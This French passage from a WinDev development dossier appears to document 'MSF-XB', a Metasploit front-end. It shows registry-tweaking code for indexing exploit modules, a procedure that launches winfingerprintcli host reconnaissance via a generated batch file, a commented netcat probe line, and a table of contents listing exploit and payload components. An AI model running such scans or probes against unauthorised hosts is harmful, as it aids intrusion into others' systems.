26/10/2008 1112

// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE VERIF_REGISTRE()

Reponse is int=0

//Vérification que la recherche dans les fichiers de modules exploits MSF2 (.pm) est activéeSI PAS RegistreExiste("HKEY_CLASSES_ROOT\.pm\PersistentHandler") ALORS

Reponse=OuiNon("La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 2.x (.pm) n'existe pas."+RC+"Voulez-vous la créer (HKEY_CLASSES_ROOT\.pm\PersistentHandler)?")SI Reponse=1 ALORS

RegistreCréeClé("HKEY_CLASSES_ROOT\.pm\PersistentHandler")RegistreEcrit("HKEY_CLASSES_ROOT\.pm\PersistentHandler", "", "{5e941d80-bf96-11cd-b579-08002b30bfeb}")

FINFIN

Reponse=0//Vérification que la recherche dans les fichiers de modules exploits MSF3 (.rb) est activéeSI PAS RegistreExiste("HKEY_CLASSES_ROOT\.rb\PersistentHandler") ALORS

Reponse=OuiNon("La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 3.x MSFWEB (.rhtml) n'existe pas."+RC+"Voulez-vous la créer (HKEY_CLASSES_ROOT\.rhtml\PersistentHandler)?")SI Reponse=1 ALORS

RegistreCréeClé("HKEY_CLASSES_ROOT\.rb\PersistentHandler")RegistreEcrit("HKEY_CLASSES_ROOT\.rb\PersistentHandler", "", "{5e941d80-bf96-11cd-b579-08002b30bfeb}")

FINFIN

//Pour le msfweb:SI PAS RegistreExiste("HKEY_CLASSES_ROOT\.rhtml\PersistentHandler") ALORS

Reponse=OuiNon("La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 3.x MSFWEB (.rhtml) n'existe pas."+RC+"Voulez-vous la créer (HKEY_CLASSES_ROOT\.rhtml\PersistentHandler)?")SI Reponse=1 ALORS

RegistreCréeClé("HKEY_CLASSES_ROOT\.rhtml\PersistentHandler")RegistreEcrit("HKEY_CLASSES_ROOT\.rhtml\PersistentHandler", "", "{5e941d80-bf96-11cd-b579-08002b30bfeb}")

FINFIN

Procédure globale WinFingerPrint// Syntaxe ://WinFingerPrint ([<IPfinger>[, <PARAMfinger>]])

Page 1107: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1113

//// Paramètres :// IPfinger : <indiquez ici le rôle de IPfinger>// PARAMfinger : <indiquez ici le rôle de PARAMfinger>// Valeur de retour :// Aucune

PROCEDURE WinFingerPrint(IPfinger="127.0.0.1",PARAMfinger="-f -r")fSupprime(fRepEnCours()+"\FINGERX.BAT")Numéro_FichierWinFingerPrint is int= fCrée(fRepEnCours()+"\FINGERX.BAT")SI Numéro_FichierWinFingerPrint = -1 ALORS

Erreur("ERREUR de création de FINGERX.BAT")RETOUR

FIN// fferme(Numéro_FichierWinFingerPrint)// fdebloque(Numéro_FichierWinFingerPrint)

Numéro_FichierWinFingerPrint=fOuvre("FINGERX.BAT",foEcriture)SI Numéro_FichierWinFingerPrint = -1 ALORS

Erreur("ERREUR d'ouverture de FINGERX.BAT")RETOUR

FIN//fecritligne(Numéro_FichierWinFingerPrint,gauche(frepencours(),2))//fecritligne(Numéro_FichierWinFingerPrint,"CD\")//fecritligne(Numéro_FichierWinFingerPrint,"CD "+caract(34)+frepencours()+"\TOOLZ"+caract(34))fEcritLigne(Numéro_FichierWinFingerPrint,Caract(34)+SysRep(srProgramFiles)+"\Winfingerprint\winfingerprintcli.exe"+Caract(34)+" -host "+NoSpace(IPfinger)+" "+PARAMfinger+">>"+Caract(34)+fRepEnCours()+"\TEMP\WinFingerPrint_"+NoSpace(IPfinger)+"_"+DateSys()+".TXT"+Caract(34))//fecritligne(Numéro_Fichier,"nc -vvv "+nospace(table1[table1][1])+" "+CBPORT)fFerme(Numéro_FichierWinFingerPrint)

// fdebloque(Numéro_FichierWinFingerPrint)TANTQUE PAS DDELance(fRepEnCours()+"\FINGERX.BAT",DDEIconise,Vrai)

FINTANTQUE Taille(fRepEnCours()+"\TEMP\WinFingerPrint_"+NoSpace(IPfinger)+"_"+DateSys()+".TXT")=0

FIN

Page 1108: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Table des matièresPartie 9

26/10/2008 1114

Partie 9Table des matières

Page 1109: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Table des matièresPartie 9

26/10/2008 1115

Table des matièresProjet MSF-XB

En-tête Partie 13

En-tête3

Projet Partie 25

Graphe5

Informations générales8

Liste des éléments du projet8

Liste des Perso-Dossiers10

Tableau de bord11

Code15

Messages multilangues28

Statistiques sur le code29

Liste des tâches30

Composants inclus dans le projet31

Analyse Partie 351

Graphe51

Informations générales53

Dictionnaire des rubriques53

Liaisons57

Fichiers et rubriques59

ASM_CODES61

COMMANDE62

COMMANDS63

EDITEUR64

EXPLOIT65

EXPLOIT_PAYLOAD66

FICHIER67

HEADER68

IPINDEX69

LANG70

OPcode71

PARAMETRE72

PARAMETRE_EXPLOIT73

PARAMETRE_PAYLOAD74

PAYLOAD75

STRO76

TYPESTRO78

USER79

WHITEPAPER80

Fenêtre WinDev - Fenêtre Interne WinDev Partie 482

AutoExploiter82

Image82

Informations générales83

Informations sur les champs85

Messages multilangues152

Code154

Code des champs156

Procédures171

Fiche_et_table_EXPLOIT_HEADER185

Image185

Informations générales187

Informations sur les champs189

Code219

Code des champs221

Procédures228

WinDevMessageBox232

Image232

Informations générales232

Informations sur les champs235

Code250

Page 1110: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Table des matièresPartie 9

26/10/2008 1116

Code des champs253

Procédures255

EXPLOIT_PARAMETERS258

Image258

Informations générales260

Informations sur les champs262

Messages multilangues299

Code301

Code des champs303

Procédures310

FEN_MAIN_WDDEBUG312

Image312

Informations générales313

Informations sur les champs315

Informations sur les menus333

Code335

Code des champs337

MSFXB_Menu339

Image339

Informations générales340

Informations sur les champs342

Informations sur les menus349

Code des champs352

FEN_msfpescan356

Image356

Informations générales358

Informations sur les champs360

Messages multilangues384

Code386

Code des champs387

HACK_PLAN392

Image392

Informations générales393

Informations sur les champs395

Code417

Code des champs418

Procédures421

MSFXB_Assistant422

Image422

Informations générales423

Informations sur les champs425

Informations sur les menus603

Messages multilangues607

Code615

Code des champs619

Procédures695

Apropos729

Image729

Informations générales731

Informations sur les champs733

Messages multilangues743

Code des champs744

MSFXB_Editor745

Image745

Informations générales746

Informations sur les champs748

Messages multilangues838

Code840

Code des champs842

Procédures868

WinDevDialogBox896

Image896

Informations générales896

Informations sur les champs898

Messages multilangues912

Code des champs913

IPCmanipulator914

Image914

Informations générales915

Informations sur les champs917

Messages multilangues954

Code956

Code des champs957

MSFXB_Stats964

Image964

Informations générales965

Informations sur les champs967

Code978

Code des champs979

Procédures980

TABLE_ASCII981

Image981

Informations générales982

Informations sur les champs984

Page 1111: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Table des matièresPartie 9

26/10/2008 1117

Code997

Code des champs998

FI_MenuHWinDevHelp999

Image999

Informations générales999

Informations sur les champs1001

Informations sur les menus1004

Code des champs1006

Page Partie 51010

Accueil1010

Image1010

Informations générales1011

Informations sur les champs1012

Code1021

Code des champs1022

Procédures1023

Etat Partie 61025

ETAT_EXPLOIT_CODE1025

Image1025

Informations générales1025

Informations sur les champs1026

Code1027

Classe Partie 71029

C_cPE1029

Code1029

WDDos1035

Messages multilangues1035

Code1036

CiExplore1041

Messages multilangues1041

Code1042

Collection de procédures Partie 81059

WDDEBUG1059

Code1059

Procedures globales de MSF-XB1086

Messages multilangues1086

Code1088